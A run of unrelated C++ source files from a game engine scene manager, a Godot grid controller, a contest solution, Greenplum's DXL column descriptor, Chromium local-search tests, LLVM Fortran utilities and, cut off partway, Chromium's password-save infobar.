(gameObject.IsStatic()) { boundingBox.CalculateWorldBoundingBox(); const AABB& worldAABB = boundingBox.GetWorldAABB(); quadtree.Add(&gameObject, AABB2D(worldAABB.minPoint.xz(), worldAABB.maxPoint.xz())); gameObject.isInQuadtree = true; } } quadtree.Optimize(); } void Scene::ClearQuadtree() { quadtree.Clear(); for (GameObject& gameObject : gameObjects) { gameObject.isInQuadtree = false; } } void Scene::Init() { App->resources->IncreaseReferenceCount(cursorId); root->Init(); } void Scene::Start() { App->time->ResetDeltaTime(); if (App->camera->GetGameCamera()) { // Set the Game Camera as active App->camera->ChangeActiveCamera(App->camera->GetGameCamera(), true); App->camera->ChangeCullingCamera(App->camera->GetGameCamera(), true); } else { LOG("Error: Game camera not set."); } App->window->SetCursor(cursorId, widthCursor, heightCursor); App->window->ActivateCursor(true); root->Start(); } void Scene::Load(JsonValue jScene) { ClearScene(); // Load GameObjects JsonValue jRoot = jScene[JSON_TAG_ROOT]; root = gameObjects.Obtain(0); root->scene = this; root->Load(jRoot); // Quadtree generation JsonValue jQuadtreeBounds = jScene[JSON_TAG_QUADTREE_BOUNDS]; quadtreeBounds = {{jQuadtreeBounds[0], jQuadtreeBounds[1]}, {jQuadtreeBounds[2], jQuadtreeBounds[3]}}; quadtreeMaxDepth = jScene[JSON_TAG_QUADTREE_MAX_DEPTH]; quadtreeElementsPerNode = jScene[JSON_TAG_QUADTREE_ELEMENTS_PER_NODE]; RebuildQuadtree(); // Game Camera gameCameraId = jScene[JSON_TAG_GAME_CAMERA]; // Ambient Light JsonValue ambientLight = jScene[JSON_TAG_AMBIENTLIGHT]; ambientColor = {ambientLight[0], ambientLight[1], ambientLight[2]}; // NavMesh navMeshId = jScene[JSON_TAG_NAVMESH]; // Cursor heightCursor = jScene[JSON_TAG_CURSOR_HEIGHT]; widthCursor = jScene[JSON_TAG_CURSOR_WIDTH]; cursorId = jScene[JSON_TAG_CURSOR]; } void Scene::Save(JsonValue jScene) const { // Save scene information JsonValue jQuadtreeBounds = jScene[JSON_TAG_QUADTREE_BOUNDS]; jQuadtreeBounds[0] = quadtreeBounds.minPoint.x; jQuadtreeBounds[1] = quadtreeBounds.minPoint.y; jQuadtreeBounds[2] = quadtreeBounds.maxPoint.x; jQuadtreeBounds[3] = quadtreeBounds.maxPoint.y; jScene[JSON_TAG_QUADTREE_MAX_DEPTH] = quadtreeMaxDepth; jScene[JSON_TAG_QUADTREE_ELEMENTS_PER_NODE] = quadtreeElementsPerNode; jScene[JSON_TAG_GAME_CAMERA] = gameCameraId; JsonValue ambientLight = jScene[JSON_TAG_AMBIENTLIGHT]; ambientLight[0] = ambientColor.x; ambientLight[1] = ambientColor.y; ambientLight[2] = ambientColor.z; // NavMesh jScene[JSON_TAG_NAVMESH] = navMeshId; // Cursor jScene[JSON_TAG_CURSOR_HEIGHT] = heightCursor; jScene[JSON_TAG_CURSOR_WIDTH] = widthCursor; jScene[JSON_TAG_CURSOR] = cursorId; // Save GameObjects JsonValue jRoot = jScene[JSON_TAG_ROOT]; root->Save(jRoot); } GameObject* Scene::CreateGameObject(GameObject* parent, UID id, const char* name) { GameObject* gameObject = gameObjects.Obtain(id); gameObject->scene = this; gameObject->id = id; gameObject->name = name; gameObject->SetParent(parent); return gameObject; } void Scene::DestroyGameObject(GameObject* gameObject) { if (gameObject == nullptr) return; // If the removed GameObject is the directionalLight of the scene, set it to nullptr if (gameObject == directionalLight) directionalLight = nullptr; // We need a copy because we are invalidating the iterator by removing GameObjects std::vector<GameObject*> children = gameObject->GetChildren(); for (GameObject* child : children) { DestroyGameObject(child); } if (gameObject->isInQuadtree) { quadtree.Remove(gameObject); } bool selected = App->editor->selectedGameObject == gameObject; if (selected) App->editor->selectedGameObject = nullptr; gameObject->RemoveAllComponents(); gameObject->SetParent(nullptr); gameObjects.Release(gameObject->GetID()); } GameObject* Scene::GetGameObject(UID id) const { return gameObjects.Find(id); } Component* Scene::GetComponentByTypeAndId(ComponentType type, UID componentId) { switch (type) { case ComponentType::TRANSFORM: return transformComponents.Find(componentId); case ComponentType::MESH_RENDERER: return meshRendererComponents.Find(componentId); case ComponentType::BOUNDING_BOX: return boundingBoxComponents.Find(componentId); case ComponentType::CAMERA: return cameraComponents.Find(componentId); case ComponentType::LIGHT: return lightComponents.Find(componentId); case ComponentType::CANVAS: return canvasComponents.Find(componentId); case ComponentType::CANVASRENDERER: return canvasRendererComponents.Find(componentId); case ComponentType::IMAGE: return imageComponents.Find(componentId); case ComponentType::TRANSFORM2D: return transform2DComponents.Find(componentId); case ComponentType::BUTTON: return buttonComponents.Find(componentId); case ComponentType::EVENT_SYSTEM: return eventSystemComponents.Find(componentId); case ComponentType::BOUNDING_BOX_2D: return boundingBox2DComponents.Find(componentId); case ComponentType::TOGGLE: return toggleComponents.Find(componentId); case ComponentType::TEXT: return textComponents.Find(componentId); case ComponentType::SELECTABLE: return selectableComponents.Find(componentId); case ComponentType::SLIDER: return sliderComponents.Find(componentId); case ComponentType::SKYBOX: return skyboxComponents.Find(componentId); case ComponentType::ANIMATION: return animationComponents.Find(componentId); case ComponentType::SCRIPT: return scriptComponents.Find(componentId); case ComponentType::PARTICLE: return particleComponents.Find(componentId); case ComponentType::TRAIL: return trailComponents.Find(componentId); case ComponentType::BILLBOARD: return billboardComponents.Find(componentId); case ComponentType::AUDIO_SOURCE: return audioSourceComponents.Find(componentId); case ComponentType::AUDIO_LISTENER: return audioListenerComponents.Find(componentId); case ComponentType::PROGRESS_BAR: return progressbarsComponents.Find(componentId); case ComponentType::SPHERE_COLLIDER: return sphereColliderComponents.Find(componentId); case ComponentType::BOX_COLLIDER: return boxColliderComponents.Find(componentId); case ComponentType::CAPSULE_COLLIDER: return capsuleColliderComponents.Find(componentId); case ComponentType::AGENT: return agentComponents.Find(componentId); case ComponentType::OBSTACLE: return obstacleComponents.Find(componentId); case ComponentType::FOG: return fogComponents.Find(componentId); case ComponentType::VIDEO: return videoComponents.Find(componentId); default: LOG("Component of type %i hasn't been registered in Scene::GetComponentByTypeAndId.", (unsigned) type); assert(false); return nullptr; } } Component* Scene::CreateComponentByTypeAndId(GameObject* owner, ComponentType type, UID componentId) { switch (type) { case ComponentType::TRANSFORM: return transformComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::MESH_RENDERER: return meshRendererComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::BOUNDING_BOX: return boundingBoxComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::CAMERA: return cameraComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::LIGHT: return lightComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::CANVAS: return canvasComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::CANVASRENDERER: return canvasRendererComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::IMAGE: return imageComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::TRANSFORM2D: return transform2DComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::BUTTON: return buttonComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::EVENT_SYSTEM: return eventSystemComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::BOUNDING_BOX_2D: return boundingBox2DComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::TOGGLE: return toggleComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::TEXT: return textComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::SELECTABLE: return selectableComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::SLIDER: return sliderComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::SKYBOX: return skyboxComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::ANIMATION: return animationComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::SCRIPT: return scriptComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::PARTICLE: return particleComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::TRAIL: return trailComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::BILLBOARD: return billboardComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::AUDIO_SOURCE: return audioSourceComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::AUDIO_LISTENER: return audioListenerComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::PROGRESS_BAR: return progressbarsComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::SPHERE_COLLIDER: return sphereColliderComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::BOX_COLLIDER: return boxColliderComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::CAPSULE_COLLIDER: return capsuleColliderComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::AGENT: return agentComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::OBSTACLE: return obstacleComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::FOG: return fogComponents.Obtain(componentId, owner, componentId, owner->IsActive()); case ComponentType::VIDEO: return videoComponents.Obtain(componentId, owner, componentId, owner->IsActive()); default: LOG("Component of type %i hasn't been registered in Scene::CreateComponentByTypeAndId.", (unsigned) type); assert(false); return nullptr; } } void Scene::RemoveComponentByTypeAndId(ComponentType type, UID componentId) { switch (type) { case ComponentType::TRANSFORM: transformComponents.Release(componentId); break; case ComponentType::MESH_RENDERER: meshRendererComponents.Release(componentId); break; case ComponentType::BOUNDING_BOX: boundingBoxComponents.Release(componentId); break; case ComponentType::CAMERA: cameraComponents.Release(componentId); break; case ComponentType::LIGHT: lightComponents.Release(componentId); break; case ComponentType::CANVAS: canvasComponents.Release(componentId); break; case ComponentType::CANVASRENDERER: canvasRendererComponents.Release(componentId); break; case ComponentType::IMAGE: imageComponents.Release(componentId); break; case ComponentType::TRANSFORM2D: transform2DComponents.Release(componentId); break; case ComponentType::BUTTON: buttonComponents.Release(componentId); break; case ComponentType::EVENT_SYSTEM: eventSystemComponents.Release(componentId); break; case ComponentType::BOUNDING_BOX_2D: boundingBox2DComponents.Release(componentId); break; case ComponentType::TOGGLE: toggleComponents.Release(componentId); break; case ComponentType::TEXT: textComponents.Release(componentId); break; case ComponentType::SELECTABLE: selectableComponents.Release(componentId); break; case ComponentType::SLIDER: sliderComponents.Release(componentId); break; case ComponentType::SKYBOX: skyboxComponents.Release(componentId); break; case ComponentType::ANIMATION: animationComponents.Release(componentId); break; case ComponentType::SCRIPT: scriptComponents.Release(componentId); break; case ComponentType::PARTICLE: particleComponents.Release(componentId); break; case ComponentType::TRAIL: trailComponents.Release(componentId); break; case ComponentType::BILLBOARD: billboardComponents.Release(componentId); break; case ComponentType::AUDIO_SOURCE: audioSourceComponents.Release(componentId); break; case ComponentType::AUDIO_LISTENER: audioListenerComponents.Release(componentId); break; case ComponentType::PROGRESS_BAR: progressbarsComponents.Release(componentId); break; case ComponentType::SPHERE_COLLIDER: if (App->time->IsGameRunning()) App->physics->RemoveSphereRigidbody(sphereColliderComponents.Find(componentId)); sphereColliderComponents.Release(componentId); break; case ComponentType::BOX_COLLIDER: if (App->time->IsGameRunning()) App->physics->RemoveBoxRigidbody(boxColliderComponents.Find(componentId)); boxColliderComponents.Release(componentId); break; case ComponentType::CAPSULE_COLLIDER: if (App->time->IsGameRunning()) App->physics->RemoveCapsuleRigidbody(capsuleColliderComponents.Find(componentId)); capsuleColliderComponents.Release(componentId); break; case ComponentType::AGENT: agentComponents.Release(componentId); break; case ComponentType::OBSTACLE: obstacleComponents.Release(componentId); break; case ComponentType::FOG: fogComponents.Release(componentId); break; case ComponentType::VIDEO: videoComponents.Release(componentId); break; default: LOG("Component of type %i hasn't been registered in Scene::RemoveComponentByTypeAndId.", (unsigned) type); assert(false); break; } } int Scene::GetTotalTriangles() const { int triangles = 0; for (const ComponentMeshRenderer& meshComponent : meshRendererComponents) { ResourceMesh* mesh = App->resources->GetResource<ResourceMesh>(meshComponent.GetMesh()); if (mesh != nullptr) { triangles += mesh->indices.size() / 3; } } return triangles; } std::vector<float> Scene::GetVertices() { std::vector<float> result; for (ComponentMeshRenderer& meshRenderer : meshRendererComponents) { ResourceMesh* mesh = App->resources->GetResource<ResourceMesh>(meshRenderer.GetMesh()); ComponentTransform* transform = meshRenderer.GetOwner().GetComponent<ComponentTransform>(); if (mesh != nullptr && transform->GetOwner().IsStatic()) { for (const ResourceMesh::Vertex& vertex : mesh->vertices) { float4 transformedVertex = transform->GetGlobalMatrix() * float4(vertex.position, 1.0f); result.push_back(transformedVertex.x); result.push_back(transformedVertex.y); result.push_back(transformedVertex.z); } } } return result; } std::vector<int> Scene::GetTriangles() { int triangles = 0; std::vector<int> maxVertMesh; maxVertMesh.push_back(0); for (ComponentMeshRenderer& meshRenderer : meshRendererComponents) { ResourceMesh* mesh = App->resources->GetResource<ResourceMesh>(meshRenderer.GetMesh()); if (mesh != nullptr && meshRenderer.GetOwner().IsStatic()) { triangles += mesh->indices.size() / 3; maxVertMesh.push_back(mesh->vertices.size()); } } std::vector<int> result(triangles * 3); int currentGlobalTri = 0; int vertOverload = 0; int i = 0; for (ComponentMeshRenderer& meshRenderer : meshRendererComponents) { ResourceMesh* mesh = App->resources->GetResource<ResourceMesh>(meshRenderer.GetMesh()); if (mesh != nullptr && meshRenderer.GetOwner().IsStatic()) { vertOverload += maxVertMesh[i]; for (unsigned j = 0; j < mesh->indices.size(); j += 3) { result[currentGlobalTri] = mesh->indices[j] + vertOverload; result[currentGlobalTri + 1] = mesh->indices[j + 1] + vertOverload; result[currentGlobalTri + 2] = mesh->indices[j + 2] + vertOverload; currentGlobalTri += 3; } i++; } } return result; } std::vector<float> Scene::GetNormals() { std::vector<float> result; for (ComponentMeshRenderer& meshRenderer : meshRendererComponents) { ResourceMesh* mesh = App->resources->GetResource<ResourceMesh>(meshRenderer.GetMesh()); ComponentTransform* transform = meshRenderer.GetOwner().GetComponent<ComponentTransform>(); if (mesh != nullptr && transform->GetOwner().IsStatic()) { for (const ResourceMesh::Vertex& vertex : mesh->vertices) { float4 transformedVertex = transform->GetGlobalMatrix() * float4(vertex.normal, 1.0f); result.push_back(transformedVertex.x); result.push_back(transformedVertex.y); result.push_back(transformedVertex.z); } } } return result; } const std::vector<GameObject*>& Scene::GetStaticShadowCasters() const { return staticShadowCasters; } const std::vector<GameObject*>& Scene::GetDynamicShadowCasters() const { return dynamicShadowCasters; } const std::vector<GameObject*>& Scene::GetMainEntitiesShadowCasters() const { return mainEntitiesShadowCasters; } bool Scene::InsideFrustumPlanes(const FrustumPlanes& planes, const GameObject* go) { ComponentBoundingBox* boundingBox = go->GetComponent<ComponentBoundingBox>(); if (boundingBox && planes.CheckIfInsideFrustumPlanes(boundingBox->GetWorldAABB(), boundingBox->GetWorldOBB())) { return true; } return false; } std::vector<GameObject*> Scene::GetCulledMeshes(const FrustumPlanes& planes, const int mask) { std::vector<GameObject*> meshes; for (ComponentMeshRenderer componentMR : meshRendererComponents) { GameObject* go = &componentMR.GetOwner(); Mask& maskGo = go->GetMask(); if ((maskGo.bitMask & mask) != 0) { if (InsideFrustumPlanes(planes, go)) { meshes.push_back(go); } } } return meshes; } std::vector<GameObject*> Scene::GetStaticCulledShadowCasters(const FrustumPlanes& planes) { std::vector<GameObject*> meshes; for (GameObject* go : staticShadowCasters) { if (InsideFrustumPlanes(planes, go)) { meshes.push_back(go); } } return meshes; } std::vector<GameObject*> Scene::GetDynamicCulledShadowCasters(const FrustumPlanes& planes) { std::vector<GameObject*> meshes; for (GameObject* go : dynamicShadowCasters) { if (InsideFrustumPlanes(planes, go)) { meshes.push_back(go); } } return meshes; } std::vector<GameObject*> Scene::GetMainEntitiesCulledShadowCasters(const FrustumPlanes& planes) { std::vector<GameObject*> meshes; for (GameObject* go : mainEntitiesShadowCasters) { if (InsideFrustumPlanes(planes, go)) { meshes.push_back(go); } } return meshes; } void Scene::RemoveStaticShadowCaster(const GameObject* go) { auto it = std::find(staticShadowCasters.begin(), staticShadowCasters.end(), go); if (it == staticShadowCasters.end()) return; staticShadowCasters.erase(it); App->renderer->lightFrustumStatic.Invalidate(); } void Scene::AddStaticShadowCaster(GameObject* go) { auto it = std::find(staticShadowCasters.begin(), staticShadowCasters.end(), go); if (it != staticShadowCasters.end()) return; staticShadowCasters.push_back(go); App->renderer->lightFrustumStatic.Invalidate(); } void Scene::RemoveDynamicShadowCaster(const GameObject* go) { auto it = std::find(dynamicShadowCasters.begin(), dynamicShadowCasters.end(), go); if (it == dynamicShadowCasters.end()) return; dynamicShadowCasters.erase(it); App->renderer->lightFrustumDynamic.Invalidate(); } void Scene::AddDynamicShadowCaster(GameObject* go) { auto it = std::find(dynamicShadowCasters.begin(), dynamicShadowCasters.end(), go); if (it != dynamicShadowCasters.end()) return; dynamicShadowCasters.push_back(go); App->renderer->lightFrustumDynamic.Invalidate(); } void Scene::RemoveMainEntityShadowCaster(const GameObject* go) { auto it = std::find(mainEntitiesShadowCasters.begin(), mainEntitiesShadowCasters.end(), go); if (it == mainEntitiesShadowCasters.end()) return; mainEntitiesShadowCasters.erase(it); App->renderer->lightFrustumMainEntities.Invalidate(); } void Scene::AddMainEntityShadowCaster(GameObject* go) { auto it = std::find(mainEntitiesShadowCasters.begin(), mainEntitiesShadowCasters.end(), go); if (it != mainEntitiesShadowCasters.end()) return; mainEntitiesShadowCasters.push_back(go); App->renderer->lightFrustumMainEntities.Invalidate(); } void Scene::SetCursor(UID cursor) { if (cursorId != 0) { App->resources->DecreaseReferenceCount(cursorId); } cursorId = cursor; if (cursor != 0) { App->resources->IncreaseReferenceCount(cursor); } App->window->SetCursor(cursorId, widthCursor, heightCursor); #if GAME App->window->ActivateCursor(true); #endif } UID Scene::GetCursor() { return cursorId; } void Scene::SetCursorWidth(int width) { widthCursor = width; } int Scene::GetCursorWidth() { return widthCursor; } void Scene::SetCursorHeight(int height) { heightCursor = height; } int Scene::GetCursorHeight() { return heightCursor; }
24,512
8,354
#include "grid_controller_base.h" #include "grid_state.h" #include "game_grid.h" #include <stdexcept> GridControllerBase::GridControllerBase() : bAcceptingInput(true) { } void GridControllerBase::_bind_methods() { ClassDB::bind_method(D_METHOD("init", "owner"), &GridControllerBase::init); ClassDB::bind_method(D_METHOD("process_tileHover", "oldTileIndex", "newTileIndex"), &GridControllerBase::process_tileHover); ClassDB::bind_method(D_METHOD("process_tileSelected", "tileIndex"), &GridControllerBase::process_tileSelected); ClassDB::bind_method(D_METHOD("process_gridStateChanged", "bNext"), &GridControllerBase::process_gridStateChanged); ClassDB::bind_method(D_METHOD("toggle_acceptingInput", "bAcceptingInput"), &GridControllerBase::toggleAcceptingInput); } void GridControllerBase::init(Variant owner) { OwningGrid = owner; GridStateRef.instance(); GridStateRef->set_GridRef(owner); } void GridControllerBase::process_tileHoverImpl(int oldTileIndex, int newTileIndex) { throw std::logic_error("The method or operation is not implemented."); } void GridControllerBase::process_tileSelectedImpl(int tileIndex) { throw std::logic_error("The method or operation is not implemented."); } void GridControllerBase::process_gridStateChangedImpl(bool bNext) { throw std::logic_error("The method or operation is not implemented."); } void GridControllerBase::toggleAcceptingInput(bool toggleTo) { GridStateRef->set_GridRef(OwningGrid); bAcceptingInput = toggleTo; } GridTextures GridControllerBase::get_GridStateAtNode(int nodeIndex) { return GridStateRef->get_NodeState(nodeIndex); }
1,606
523
#include<bits/stdc++.h> using namespace std; typedef long long ll; const int maxn=2e6+10; ll m,n,k; ll f[maxn]; int main() { //freopen("in.txt","r",stdin); int t; cin>>t; int T=0; while(t--) { T++; cin>>n>>m>>k; cout<<"Case #"<<T<<": "; if(m<=k){//直接递推 ll tp=(n-m+1); f[1] = (k-1) % tp; //编号从0开始 for(int i=2;i<=m;++i) f[i] = (f[i-1]+k)%(++tp); cout<<f[m]+1<<endl; } else{ if(k==1) cout<<m<<endl; else{ ll tp = n-m+1; ll ans = (k-1) % tp; //编号从0开始 ll now = 1; while(1){ if((tp-ans)%(k-1)==0){ ll x = (tp-ans)/(k-1) -1 ; x = min(x,m-now); ans += x*k; now += x; tp += x; if(now==m) break; ans =(ans + k) % (tp+1); now +=1; tp +=1; if(now==m) break; assert(now <=m); } else{ ll x = (tp-ans)/(k-1); x = min(x,m-now); ans += x*k; now += x; tp +=x; if(now==m) break; ans =(ans + k) % (tp+1); now +=1; tp +=1; if(now==m) break; assert(now <=m); } } cout<<ans+1<<endl; } } } return 0; }
1,761
602
//--------------------------------------------------------------------------- // Greenplum Database // Copyright (C) 2010 Greenplum, Inc. // // @filename: // CDXLColDescr.cpp // // @doc: // Implementation of DXL column descriptors // // @owner: // // // @test: // // //--------------------------------------------------------------------------- #include "gpos/string/CWStringDynamic.h" #include "naucrates/dxl/operators/CDXLColDescr.h" #include "naucrates/dxl/xml/CXMLSerializer.h" #include "naucrates/md/CMDIdGPDB.h" using namespace gpos; using namespace gpdxl; using namespace gpmd; //--------------------------------------------------------------------------- // @function: // CDXLColDescr::CDXLColDescr // // @doc: // Ctor // //--------------------------------------------------------------------------- CDXLColDescr::CDXLColDescr ( IMemoryPool *pmp, CMDName *pmdname, ULONG ulId, INT iAttno, IMDId *pmdidType, BOOL fDropped, ULONG ulWidth ) : m_pmp(pmp), m_pmdname(pmdname), m_ulId(ulId), m_iAttno(iAttno), m_pmdidType(pmdidType), m_fDropped(fDropped), m_ulWidth(ulWidth) { GPOS_ASSERT_IMP(m_fDropped, 0 == m_pmdname->Pstr()->UlLength()); } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::~CDXLColDescr // // @doc: // Dtor // //--------------------------------------------------------------------------- CDXLColDescr::~CDXLColDescr() { m_pmdidType->Release(); GPOS_DELETE(m_pmdname); } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::Pmdname // // @doc: // Returns the column name // //--------------------------------------------------------------------------- const CMDName * CDXLColDescr::Pmdname() const { return m_pmdname; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::UlID // // @doc: // Returns the column Id // //--------------------------------------------------------------------------- ULONG CDXLColDescr::UlID() const { return m_ulId; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::IAttno // // @doc: // Returns the column attribute number in GPDB // //--------------------------------------------------------------------------- INT CDXLColDescr::IAttno() const { return m_iAttno; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::PmdidType // // @doc: // Returns the type id for this column // //--------------------------------------------------------------------------- IMDId * CDXLColDescr::PmdidType() const { return m_pmdidType; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::FDropped // // @doc: // Is the column dropped from the relation // //--------------------------------------------------------------------------- BOOL CDXLColDescr::FDropped() const { return m_fDropped; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::UlWidth // // @doc: // Returns the width of the column // //--------------------------------------------------------------------------- ULONG CDXLColDescr::UlWidth() const { return m_ulWidth; } //--------------------------------------------------------------------------- // @function: // CDXLColDescr::SerializeToDXL // // @doc: // Serializes the column descriptor into DXL format // //--------------------------------------------------------------------------- void CDXLColDescr::SerializeToDXL ( CXMLSerializer *pxmlser ) const { const CWStringConst *pstrTokenColDescr = CDXLTokens::PstrToken(EdxltokenColDescr); pxmlser->OpenElement(CDXLTokens::PstrToken(EdxltokenNamespacePrefix), pstrTokenColDescr); pxmlser->AddAttribute(CDXLTokens::PstrToken(EdxltokenColId), m_ulId); pxmlser->AddAttribute(CDXLTokens::PstrToken(EdxltokenAttno), m_iAttno); pxmlser->AddAttribute(CDXLTokens::PstrToken(EdxltokenColName), m_pmdname->Pstr()); m_pmdidType->Serialize(pxmlser, CDXLTokens::PstrToken(EdxltokenTypeId)); if (m_fDropped) { pxmlser->AddAttribute(CDXLTokens::PstrToken(EdxltokenColDropped), m_fDropped); } if (ULONG_MAX != m_ulWidth) { pxmlser->AddAttribute(CDXLTokens::PstrToken(EdxltokenColWidth), m_ulWidth); } pxmlser->CloseElement(CDXLTokens::PstrToken(EdxltokenNamespacePrefix), pstrTokenColDescr); GPOS_CHECK_ABORT; } // EOF
4,512
1,548
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chromeos/components/local_search_service/search_utils.h" #include <algorithm> #include "base/strings/utf_string_conversions.h" #include "chromeos/components/local_search_service/test_utils.h" #include "testing/gtest/include/gtest/gtest.h" namespace chromeos { namespace local_search_service { TEST(SearchUtilsTest, PrefixMatch) { // Query is a prefix of text, score is the ratio. EXPECT_NEAR(ExactPrefixMatchScore(u"musi", u"music"), 0.8, 0.001); // Text is a prefix of query, score is 0. EXPECT_EQ(ExactPrefixMatchScore(u"music", u"musi"), 0); // Case matters. EXPECT_EQ(ExactPrefixMatchScore(u"musi", u"Music"), 0); // Query isn't a prefix. EXPECT_EQ(ExactPrefixMatchScore(u"wide", u"wifi"), 0); // Text is empty. EXPECT_EQ(ExactPrefixMatchScore(u"music", u""), 0); // Query is empty. EXPECT_EQ(ExactPrefixMatchScore(u"", u"abc"), 0); } TEST(SearchUtilsTest, BlockMatch) { EXPECT_NEAR(BlockMatchScore(u"wifi", u"wi-fi"), 0.804, 0.001); // Case matters. EXPECT_NEAR(BlockMatchScore(u"wifi", u"Wi-Fi"), 0.402, 0.001); } TEST(SearchUtilsTest, RelevanceCoefficient) { // Relevant because prefix requirement is met. EXPECT_GT(RelevanceCoefficient(u"wifi", u"wi-fi", 0 /* prefix_threshold */, 0.99 /* block_threshold */), 0); // Relevant because prefix requirement is met. EXPECT_GT(RelevanceCoefficient(u"musi", u"music", 0.8 /* prefix_threshold */, 0.999 /* block_threshold */), 0); // Relevant because block match requirement is met. EXPECT_GT(RelevanceCoefficient(u"wifi", u"wi-fi", 0.2 /* prefix_threshold */, 0.001 /* block_threshold */), 0); // Neither prefix nor block match requirement is met. EXPECT_EQ(RelevanceCoefficient(u"wifi", u"wi-fi", 0.2 /* prefix_threshold */, 0.99 /* block_threshold */), 0); // Return the higher score if both requirements are met. EXPECT_NEAR(RelevanceCoefficient(u"wifi", u"wi-fi", 0 /* prefix_threshold */, 0 /* block_threshold */), std::max(BlockMatchScore(u"wifi", u"wi-fi"), ExactPrefixMatchScore(u"wifi", u"wi-fi")), 0.001); EXPECT_NEAR(RelevanceCoefficient(u"musi", u"music", 0 /* prefix_threshold */, 0 /* block_threshold */), std::max(BlockMatchScore(u"musi", u"music"), ExactPrefixMatchScore(u"musi", u"music")), 0.001); } } // namespace local_search_service } // namespace chromeos
2,828
1,005
//===-- lib/common/idioms.cc ----------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //----------------------------------------------------------------------------// #include "idioms.h" #include <cstdarg> #include <cstdio> #include <cstdlib> namespace Fortran::common { [[noreturn]] void die(const char *msg, ...) { va_list ap; va_start(ap, msg); std::fputs("\nfatal internal error: ", stderr); std::vfprintf(stderr, msg, ap); va_end(ap); fputc('\n', stderr); std::abort(); } // Convert the int index of an enumerator to a string. // enumNames is a list of the names, separated by commas with optional spaces. // This is intended for use from the expansion of ENUM_CLASS. std::string EnumIndexToString(int index, const char *enumNames) { const char *p{enumNames}; for (; index > 0; --index, ++p) { for (; *p && *p != ','; ++p) { } } for (; *p == ' '; ++p) { } CHECK(*p != '\0'); const char *q = p; for (; *q && *q != ' ' && *q != ','; ++q) { } return std::string(p, q - p); } }
1,227
430
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/password_manager/save_password_infobar_delegate.h" #include <utility> #include "base/metrics/histogram.h" #include "chrome/browser/infobars/infobar_service.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/sync/profile_sync_service_factory.h" #include "chrome/browser/ui/passwords/manage_passwords_view_utils.h" #include "chrome/grit/chromium_strings.h" #include "chrome/grit/generated_resources.h" #include "components/browser_sync/browser/profile_sync_service.h" #include "components/infobars/core/infobar.h" #include "components/password_manager/core/browser/password_bubble_experiment.h" #include "components/password_manager/core/browser/password_manager_client.h" #include "content/public/browser/web_contents.h" #include "grit/theme_resources.h" #include "ui/base/l10n/l10n_util.h" // static void SavePasswordInfoBarDelegate::Create( content::WebContents* web_contents, scoped_ptr<password_manager::PasswordFormManager> form_to_save, const std::string& uma_histogram_suffix) { Profile* profile = Profile::FromBrowserContext(web_contents->GetBrowserContext()); sync_driver::SyncService* sync_service = ProfileSyncServiceFactory::GetForProfile(profile); bool is_smartlock_branding_enabled = password_bubble_experiment::IsSmartLockBrandingEnabled(sync_service); bool should_show_first_run_experience = password_bubble_experiment::ShouldShowSavePromptFirstRunExperience( sync_service, profile->GetPrefs()); InfoBarService::FromWebContents(web_contents) ->AddInfoBar(CreateSavePasswordInfoBar( make_scoped_ptr(new SavePasswordInfoBarDelegate( web_contents, std::move(form_to_save), uma_histogram_suffix, is_smartlock_branding_enabled, should_show_first_run_experience)))); } SavePasswordInfoBarDelegate::~SavePasswordInfoBarDelegate() { UMA_HISTOGRAM_ENUMERATION("PasswordManager.InfoBarResponse", infobar_response_, password_manager::metrics_util::NUM_RESPONSE_TYPES); password_manager::metrics_util::LogUIDismissalReason(infobar_response_); // The shortest period for which the prompt needs to live, so that we don't // consider it killed prematurely, as might happen, e.g., if a pre-rendered // page gets swapped in (and the current WebContents is destroyed). const base::TimeDelta kMinimumPromptDisplayTime = base::TimeDelta::FromSeconds(1); if (!uma_histogram_suffix_.empty()) { password_manager::metrics_util::LogUMAHistogramEnumeration( "PasswordManager.SavePasswordPromptResponse_" + 